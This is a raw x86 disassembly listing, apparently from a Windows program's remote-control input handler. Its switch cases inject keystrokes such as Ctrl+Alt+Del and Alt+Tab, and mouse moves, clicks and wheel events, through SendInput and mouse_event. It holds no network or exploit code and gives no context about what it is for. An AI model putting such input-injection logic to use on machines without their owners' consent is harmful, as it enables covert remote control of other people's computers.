call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
push 0x12
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov eax, dword [0x5407b8]
cmp dword [eax], 0
jle 0x4e26c5
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4e0a7d.10
jmp dword [eax*4 + 0x4e22f3]
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 9
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 9
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x10
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x10
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x20
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x20
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x2e
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x2e
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5430
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov dword [ebp - 0x7bc], 1
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7b0], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7ac], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4e0a7d.10
jmp dword [eax*4 + 0x4e26fb]
mov word [ebp - 0x7b8], 0x12
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 9
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 9
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0a7d.10
mov word [ebp - 0x7b8], 0x12
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0a7d.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0a7d.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x10
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x10
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0a7d.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x20
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x20
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0a7d.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x2e
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x2e
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0a7d.10
cmp dword [0x548430], 0x200000
jg case.0x4e0a7d.10
cmp byte [0x53f4c0], 1
jb case.0x4e0a7d.10
cmp dword [0x5496d8], 0xb47b
ja case.0x4e0a7d.10
mov eax, dword [0x53f338]
mov dword [0x53f348], eax
mov eax, dword [0x53f33c]
mov dword [0x53f34c], eax
mov ebx, 0x8000
mov eax, dword [ebp - 0x2c]
add eax, 0x20
mov dword [0x5498d4], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x200
jg 0x4e2c61
je 0x4e2cbc
cmp eax, 0xa4
jg 0x4e2c49
je 0x4e2cda
sub eax, 0x84
je 0x4e2cc1
sub eax, 0x1c
je 0x4e2ce4
dec eax
je 0x4e2cc6
dec eax
je 0x4e2ccb
jmp case.0x4e2c6f.515
sub eax, 0xa5
je 0x4e2cdf
sub eax, 2
je 0x4e2cd0
dec eax
je 0x4e2cd5
jmp case.0x4e2c6f.515
add eax, 0xfffffdff
cmp eax, 9
ja case.0x4e2c6f.515
jmp dword [eax*4 + 0x4e2c76]
or ebx, 2
jmp case.0x4e2c6f.515
or ebx, 4
jmp case.0x4e2c6f.515
or ebx, 0x20
jmp case.0x4e2c6f.515
or ebx, 0x40
jmp case.0x4e2c6f.515
or ebx, 8
jmp case.0x4e2c6f.515
or ebx, 0x10
jmp case.0x4e2c6f.515
or ebx, 1
jmp case.0x4e2c6f.515
or ebx, 1
jmp case.0x4e2c6f.515
or ebx, 2
jmp case.0x4e2c6f.515
or ebx, 4
jmp case.0x4e2c6f.515
or ebx, 0x20
jmp case.0x4e2c6f.515
or ebx, 0x40
jmp case.0x4e2c6f.515
or ebx, 8
jmp case.0x4e2c6f.515
or ebx, 0x10
jmp case.0x4e2c6f.515
or ebx, 1
jmp case.0x4e2c6f.515
or ebx, 0x800
mov eax, dword [0x5498d4]
mov edx, dword [0x54986c]
add dword [eax], edx
mov eax, dword [0x5498d4]
mov edx, dword [0x549870]
add dword [eax + 4], edx
cmp dword [0x5495bc], 0
jle 0x4e2dc4
mov eax, dword [0x5495bc]
add eax, eax
inc eax
call fcn.004030b8
sub eax, dword [0x5495bc]
mov edx, dword [0x5498d4]
add dword [edx], eax
mov eax, dword [0x5495bc]
add eax, eax
inc eax
call fcn.004030b8
sub eax, dword [0x5495bc]
mov edx, dword [0x5498d4]
add dword [edx + 4], eax
mov eax, dword [0x5498d4]
mov eax, dword [eax]
cmp eax, dword [0x54986c]
jge 0x4e2d6a
mov eax, dword [0x5498d4]
mov edx, dword [0x54986c]
mov dword [eax], edx
mov eax, dword [0x5498d4]
mov eax, dword [eax]
cmp eax, dword [0x549874]
jl 0x4e2d87
mov eax, dword [0x549874]
dec eax
mov edx, dword [0x5498d4]
mov dword [edx], eax
mov eax, dword [0x5498d4]
mov eax, dword [eax + 4]
cmp eax, dword [0x549870]
jge 0x4e2da5
mov eax, dword [0x5498d4]
mov edx, dword [0x549870]
mov dword [eax + 4], edx
mov eax, dword [0x5498d4]
mov eax, dword [eax + 4]
cmp eax, dword [0x549878]
jl 0x4e2dc4
mov eax, dword [0x549878]
dec eax
mov edx, dword [0x5498d4]
mov dword [edx + 4], eax
mov eax, dword [0x5498d4]
mov eax, dword [eax]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x53fac4]
sub edx, dword [0x53fabc]
dec edx
mov ecx, edx
cdq
idiv ecx
mov esi, eax
mov eax, dword [0x5498d4]
mov eax, dword [eax + 4]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x53fac8]
sub edx, dword [0x53fac0]
dec edx
mov ecx, edx
cdq
idiv ecx
mov edi, eax
cmp dword [0x5495ac], 0
je 0x4e2e23
mov eax, esi
imul dword [0x5495a8]
cdq
idiv dword [0x5495ac]
mov esi, eax
cmp dword [0x5495b4], 0
je 0x4e2e3d
mov eax, edi
imul dword [0x5495b0]
cdq
idiv dword [0x5495b4]
mov edi, eax
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
jne 0x4e2e56
mov eax, dword [0x5498d4]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x4c], eax
jmp 0x4e2e5b
xor eax, eax
mov dword [ebp - 0x4c], eax
mov eax, dword [0x5406bc]
cmp dword [eax], 0
jne 0x4e2e6a
call fcn.004d3cdc
mov eax, dword [0x5405b4]
cmp dword [eax], 0
jne 0x4e2e79
call fcn.004d4ffc
mov eax, dword [0x5407b8]
cmp dword [eax], 0
jne 0x4e2e88
call fcn.004d5758
mov eax, dword [0x5406bc]
cmp dword [eax], 0
jle 0x4e2fc4
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
je 0x4e2ebc
mov eax, dword [0x5498d4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x5498d4]
mov eax, dword [eax]
push eax
mov eax, dword [0x540578]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x201
jg 0x4e2f00
je case.0x4e2ed9.161
add eax, 0xffffff5f
cmp eax, 7
ja case.0x4e0a7d.10
jmp dword [eax*4 + 0x4e2ee0]
add eax, 0xfffffdfe
cmp eax, 8
ja case.0x4e0a7d.10
jmp dword [eax*4 + 0x4e2f15]
push 1
mov eax, dword [0x540ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
push 2
mov eax, dword [0x540ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
push 0x10
mov eax, dword [0x540ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
push 0x20
mov eax, dword [0x540ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
push 4
mov eax, dword [0x540ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
push 8
mov eax, dword [0x540ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov eax, dword [0x5498d4]
cmp dword [eax + 0x10], 0
jle 0x4e2fb4
push 1
mov eax, dword [0x540698]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
push 2
mov eax, dword [0x540698]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov eax, dword [0x5405b4]
cmp dword [eax], 0
jle 0x4e3135
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
je 0x4e3063
mov eax, dword [0x53f4ac]
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, dword [0x549944]
jne 0x4e3006
mov eax, dword [0x53f4ac]
mov edx, dword [eax]
call dword [edx + 0x20]
cmp eax, dword [0x549948]
je 0x4e3041
mov eax, dword [0x53f4ac]
mov edx, dword [eax]
call dword [edx + 0x2c]
mov dword [0x549944], eax
mov eax, dword [0x53f4ac]
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [0x549948], eax
mov eax, dword [0x549948]
push eax
mov eax, dword [0x549944]
push eax
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5408e4]
mov eax, dword [eax]
call eax
mov eax, dword [0x5498d4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x5498d4]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x54093c]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x201
jg 0x4e3089
je 0x4e30a2
sub eax, 0xa1
je 0x4e30a2
dec eax
je 0x4e30b8
sub eax, 2
je 0x4e30ce
dec eax
je 0x4e30e4
jmp case.0x4e0a7d.10
sub eax, 0x202
je 0x4e30b8
sub eax, 2
je 0x4e30ce
dec eax
je 0x4e30e4
sub eax, 5
je 0x4e30fa
jmp case.0x4e0a7d.10
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540a44]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540ca8]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404d8]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540784]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov eax, dword [0x5498d4]
cmp dword [eax + 0x10], 0
jle 0x4e311d
push 1
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540d94]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
push 0xffffffffffffffff
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540d94]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov eax, dword [0x5407b8]
cmp dword [eax], 0
jle 0x4e320b
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
je 0x4e3169
mov eax, dword [0x5498d4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x5498d4]
mov eax, dword [eax]
push eax
mov eax, dword [0x540ad0]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x201
jg 0x4e318f
je 0x4e31a8
sub eax, 0xa1
je 0x4e31a8
dec eax
je 0x4e31b6
sub eax, 2
je 0x4e31c4
dec eax
je 0x4e31d2
jmp case.0x4e0a7d.10
sub eax, 0x202
je 0x4e31b6
sub eax, 2
je 0x4e31c4
dec eax
je 0x4e31d2
sub eax, 5
je 0x4e31e0
jmp case.0x4e0a7d.10
mov eax, dword [0x540bf4]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov eax, dword [0x540e74]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov eax, dword [0x540694]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov eax, dword [0x540994]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov eax, dword [0x5498d4]
cmp dword [eax + 0x10], 0
jle 0x4e31fb
push 1
mov eax, dword [0x540410]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
push 0xffffffffffffffff
mov eax, dword [0x540410]
mov eax, dword [eax]
call eax
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x200
je 0x4e322d
push 0
push 0
lea eax, [edi + 1]
push eax
lea eax, [esi + 1]
push eax
push 0x8001
call sub.user32.dll_mouse_event
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
jne 0x4e3252
push 0
mov eax, dword [ebp - 0x4c]
push eax
inc edi
push edi
inc esi
push esi
push 0x8800
call sub.user32.dll_mouse_event
jmp case.0x4e0a7d.10
xor eax, eax
mov dword [ebp - 0x7bc], eax
mov dword [ebp - 0x7ac], ebx
inc esi
mov dword [ebp - 0x7b8], esi
inc edi
mov dword [ebp - 0x7b4], edi
xor eax, eax
mov dword [ebp - 0x7b0], eax
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7a8], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7a4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0a7d.10
cmp dword [0x53f3a8], 0x5250390
jb case.0x4e0a7d.10
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x928]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0x928]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x92c]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x92c]
call fcn.00409490
mov dword [0x549644], eax
mov eax, dword [ebp - 0x24]
call fcn.004037ac
